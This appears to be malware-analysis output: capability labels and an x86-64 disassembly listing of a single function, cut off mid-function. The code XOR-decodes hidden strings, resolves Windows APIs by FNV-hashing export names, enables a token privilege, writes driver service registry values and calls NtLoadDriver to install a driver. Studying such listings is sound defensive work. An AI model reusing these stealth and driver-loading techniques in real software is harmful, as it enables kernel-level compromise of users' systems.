Function at 0x140054c60
Capabilities:
Access peb ldr_data
Encode data using xor
Get system information on windows
Hash data using fnv
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4d8
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rbp + 0x460], rax
mov rax, r8
mov rbx, rdx
mov r13, rcx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x98], rcx
xor esi, esi
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rcx
add r8, r9
lea r9, [rbp + 8]
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.1400683c0
nop
mov ecx, 0x5a4d
mov rax, qword [rbp + 0x100]
cmp word [rax], cx
je 0x140054ce4
mov r15d, esi
jmp 0x140054cf6
movsxd r15, dword [rax + 0x3c]
add r15, rax
cmp dword [r15], 0x4550
cmovne r15, rsi
mov qword [rbp + 0x18], r15
cmp dword [r15], 0x4550
je 0x140054d18
lea rcx, [rbp + 0x100]
call fcn.140062c30
nop
mov rcx, r13
jmp 0x1400573fa
mov r13d, dword [r15 + 0x50]
mov dword [rbp + 0x80], r13d
mov rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140047420
mov r9d, r13d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140052ed0
nop
cmp dword [rbp + 0x208], 0
je 0x1400573d0
movabs rax, 0xfcf8b70ff3926fc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x596b4dca2b24e027
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x632320bccfc730ee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0xdbd5d8354e527530
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x39e1e4b24e67c260
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xaebc52e2d87ffb6f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs r15, 0xfc97b743f3f76f95
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs r14, 0x59194d8e2b40e046
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rbx, 0x635120d9cfb13087
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xdba3d85c4e207560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0x3986e4d74e0bc209
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs r12, 0xaebc52e2d87ffb0a
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqa xmm0, xmmword [rbp + 0x380]
vxorps xmm0, xmm0, xmmword [rbp + 0x400]
vmovdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xe0]
vzeroupper
call fcn.140062de0
mov qword [rbp + 0x90], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x90]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
movabs rdi, 0xfc97b743afc850c9
test eax, eax
je 0x1400556bf
mov qword [rbp + 0xa0], rsi
lea rcx, [rbp + 0xe0]
call fcn.14004eb40
lea r8, [rbp + 0xa0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400556bf
mov dword [rbp + 0xb0], 1
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb4], rax
mov dword [rbp + 0xbc], 2
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xb0]
xor edx, edx
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400556bf
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xe0]
call fcn.14004ea90
xor r8d, r8d
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x210]
call fcn.140067f60
nop
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140050b60
nop
lea r8, [rbp + 8]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call fcn.140067d90
nop
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xb0], xmm0
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x180]
call fcn.140068040
mov rdi, rax
movabs rax, 0xbfcbda26878416c6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x360], rcx
movabs rax, 0x365a39e04e329233
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x368], rcx
movabs rax, 0x173473b5a0c344e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0xbec0b12a3c45263c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x3986e4d74e0b9e7a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xdba3d85c4e207560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0x3986e4d74e0bc209
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm0, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm0
vmovdqa xmm1, xmmword [rbp + 0x380]
vxorps xmm1, xmm1, xmmword [rbp + 0x400]
vmovdqa xmmword [rbp + 0x380], xmm1
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0xe0]
vzeroupper
call fcn.140044e90
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xe0]
call fcn.140062f50
lea rcx, [rbp + 0xe0]
call fcn.140045570
lea r8, [rbp + 0x88]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400551bc
mov bl, 1
jmp 0x14005545c
mov byte [rbp + 0xaa], 1
movabs rax, 0xfc97b743968716c1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xaa]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14005525c
mov bl, 1
jmp 0x14005545c
mov byte [rbp + 0xab], 3
movabs rax, 0x92f8f4319c851dd0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x59194d8e472f9232
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xab]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140055306
mov bl, 1
jmp 0x14005545c
mov byte [rbp + 0xa9], 3
movabs rax, 0xfc97b73781961bc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0xa9]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400553a6
mov bl, 1
jmp 0x14005545c
mov ebx, dword [rdi + 0x10]
mov rcx, rdi
call fcn.140045570
mov rdx, rax
movabs rax, 0x88f6e726949602dc
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x340], rcx
movabs rax, 0x59194d8e2b40e02e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x348], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x350], rcx
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp + 0x340]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdx
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x340]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140055449
mov bl, 1
jmp 0x14005545c
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0xe0]
call fcn.140044e30
nop
lea rcx, [rbp + 0x180]
call fcn.140044e30
nop
lea rcx, [rbp + 0x1a0]
call fcn.140044e30
nop
lea rcx, [rbp + 0x160]
call fcn.14004ea90
nop
lea rcx, [rbp + 0x210]
call fcn.14004ea90
test bl, bl
jne 0x1400556cb
movabs rax, 0x8ee3c42a94923dc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x377025ed4a0dbc3f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xe3454aab6e26ce2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0xafcdbd2e3c55363c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x6aea8ba53a65ad4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0xc7ca20878b238f6f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xc9b1976d6c2f5d98
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rdi, 0x49499eb030848134
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x635120d9cfb13087
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xdba3d85c4e207560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x3986e4d74e0bc209
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xc9b1976d305c38fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x380], ymm1
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x118]
vzeroupper
call fcn.140044e90
nop
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x118]
call fcn.140062f50
lea rcx, [rbp + 0x118]
call fcn.140045570
mov rdx, rax
lea rcx, [rbp + 0xd0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
lea rcx, [rbp + 0x118]
call fcn.140044e30
mov r12d, esi
test ebx, ebx
sete r12b
jmp 0x1400556ce
lea rcx, [rbp + 0xe0]
call fcn.14004ea90
mov r12d, esi
lea rcx, [rbp + 0x1e0]
call fcn.140045570
mov r14, rax
mov r15, rsi
mov dword [rbp + 0x88], esi
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400558c9
xor r13d, r13d
nop dword [rax + rax]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400557a7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400557a7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x548e8225
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400557a2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055780
cmp edx, 0x9f5cbd2
je 0x140056532
test r8d, r8d
jne 0x140055760
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400557bc
cmp qword [rax + 0x30], r13
jne 0x140055730
mov r10, r13
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call r10
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140055867
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140055867
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xe2fbad9f
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140055862
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055840
cmp edx, 0xaab6aabb
je 0x14005654f
test r8d, r8d
jne 0x140055820
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14005587c
cmp qword [rax + 0x30], r13
jne 0x1400557f0
mov r10, r13
mov edx, dword [rbp + 0x88]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call r10
mov r15, rax
lea r9, [rbp + 0x88]
mov r8d, dword [rbp + 0x88]
mov rdx, rax
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140055710
mov r13d, dword [rbp + 0x80]
xor esi, esi
test eax, eax
jns 0x14005656c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140055967
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140055967
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xd9eb9217
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140055962
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055940
cmp edx, 0x2d442f08
je 0x140056786
test r8d, r8d
jne 0x140055920
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14005597d
cmp qword [rax + 0x30], 0
jne 0x1400558f0
xor r10d, r10d
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call r10
xor r14d, r14d
cmp r12d, 1
ja 0x1400573d0
test r14, r14
je 0x1400573d0
mov r12d, dword [rbp + 0x200]
add r12, r14
mov qword [rbp], r12
mov ebx, 4
mov rax, qword gs:[0x58]
mov r15, qword [rax]
mov qword [rbp + 0x90], r15
mov eax, dword [r15 + rbx]
cmp dword [0x1401d5698], eax
jle 0x140055d2e
lea rcx, [0x1401d5698]
call fcn.1400d23c8
cmp dword [0x1401d5698], 0xffffffff
jne 0x140055d2e
movabs rax, 0x90f9c52880981bfb
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb0], rax
movabs rax, 0x59194d8e4e388568
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb8], rax
movabs rax, 0xfc97b743f3f76f95
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
movabs rcx, 0x59194d8e2b40e046
mov qword [rbp + 0xa0], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xb0], xmm0
xor r14d, r14d
mov dword [rbp + 0x80], r14d
lea r9, [rbp + 0x80]
xor r8d, r8d
xor edx, edx
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140055c5f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140055b47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140055b47
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x548e8225
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140055b42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055b20
cmp edx, 0x9f5cbd2
je 0x1400567a3
test r8d, r8d
jne 0x140055b00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140055b5d
cmp qword [rax + 0x30], 0
jne 0x140055ad0
xor eax, eax
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140055c07
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140055c07
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xe2fbad9f
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140055c02
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055be0
cmp edx, 0xaab6aabb
je 0x1400567bf
test r8d, r8d
jne 0x140055bc0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140055c1d
cmp qword [rax + 0x30], 0
jne 0x140055b90
xor eax, eax
mov edx, dword [rbp + 0x80]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call rax
mov r14, rax
lea r9, [rbp + 0x80]
mov r8d, dword [rbp + 0x80]
mov rdx, rax
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140055ab2
test eax, eax
jns 0x1400567db
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140055cf7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140055cf7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xd9eb9217
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140055cf2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055cd0
cmp edx, 0x2d442f08
je 0x1400569e6
test r8d, r8d
jne 0x140055cb0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140055d0d
cmp qword [rax + 0x30], 0
jne 0x140055c80
xor eax, eax
mov r8d, 0x8000
xor edx, edx
mov rcx, r14
call rax
nop
lea rcx, [0x1401d5698]
call fcn.1400d235c
mov ebx, 4
mov eax, dword [r15 + rbx]
cmp dword [0x1401d5614], eax
jle 0x140055d67
lea rcx, [0x1401d5614]
call fcn.1400d23c8
cmp dword [0x1401d5614], 0xffffffff
jne 0x140055d67
call fcn.140051b70
mov qword [0x1401d5640], rax
lea rcx, [0x1401d5614]
call fcn.1400d235c
mov eax, dword [r15 + rbx]
cmp dword [0x1401d56b8], eax
jle 0x140055da0
lea rcx, [0x1401d56b8]
call fcn.1400d23c8
cmp dword [0x1401d56b8], 0xffffffff
jne 0x140055da0
call fcn.140052490
mov qword [0x1401d56d0], rax
lea rcx, [0x1401d56b8]
call fcn.1400d235c
cmp qword [0x1401d5640], 0
je 0x1400573d0
cmp qword [0x1401d56d0], 0
je 0x1400573d0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140055e57
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140055e57
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x4386e0db
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140055e52
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140055e30
cmp edx, 0x595d273d
je 0x140056a02
test r8d, r8d
jne 0x140055e10
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140055e6d
cmp qword [rax + 0x30], 0
jne 0x140055de0
xor r15d, r15d
mov r8d, r15d
movabs rax, 0x98b9857081921ce0
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb0], rax
movabs rax, 0x59194d8e2b408c2a
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xb8], rax
movabs rbx, 0xfc97b743f3f76f95
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x340], rax
movabs rsi, 0x59194d8e2b40e046
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb0]
call r8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rax
lea r9, [rbp + 8]
lea r8, [0x1400f8c10]
lea r14, [0x1400f25c0]
mov rdx, r14
lea rcx, [rbp + 0x118]
call fcn.1400681e0
nop
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xe0]
lea rcx, [0x1401d5490]
call fcn.140053ce0
nop
lea rcx, [rbp + 0x20]
call fcn.140050d00
nop
lea r8, [rbp + 8]
lea rdx, [rbp + 0x180]
mov rcx, rax
call fcn.140067d90
nop
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1a0]
call fcn.140067d20
nop
lea rcx, [rbp + 0x180]
call fcn.140044e30
nop
lea rcx, [rbp + 0x20]
call fcn.14004ea90
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x230]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x1a0]
call fcn.140045570
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.140061750
nop
mov r8, qword [rbp + 0x120]
mov rdx, qword [rbp + 0x118]
sub r8, rdx
lea rcx, [rbp + 0x230]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x230]
call fcn.140061660
movabs rax, 0xfcf8b70ff3926fc6
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x360], rax
movabs rax, 0x596b4dca2b24e027
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x368], rax
movabs rax, 0x632320bccfc730ee
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x370], rax
movabs rax, 0xdbd5d8354e527530
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x378], rax
movabs rax, 0x39e1e4b24e67c260
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x380], rax
movabs rax, 0xaebc52e2d87ffb6f
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x388], rax
mov qword [rbp + 0xa0], rbx
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x420], rax
mov qword [rbp + 0xa0], rsi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x428], rax
movabs rax, 0x635120d9cfb13087
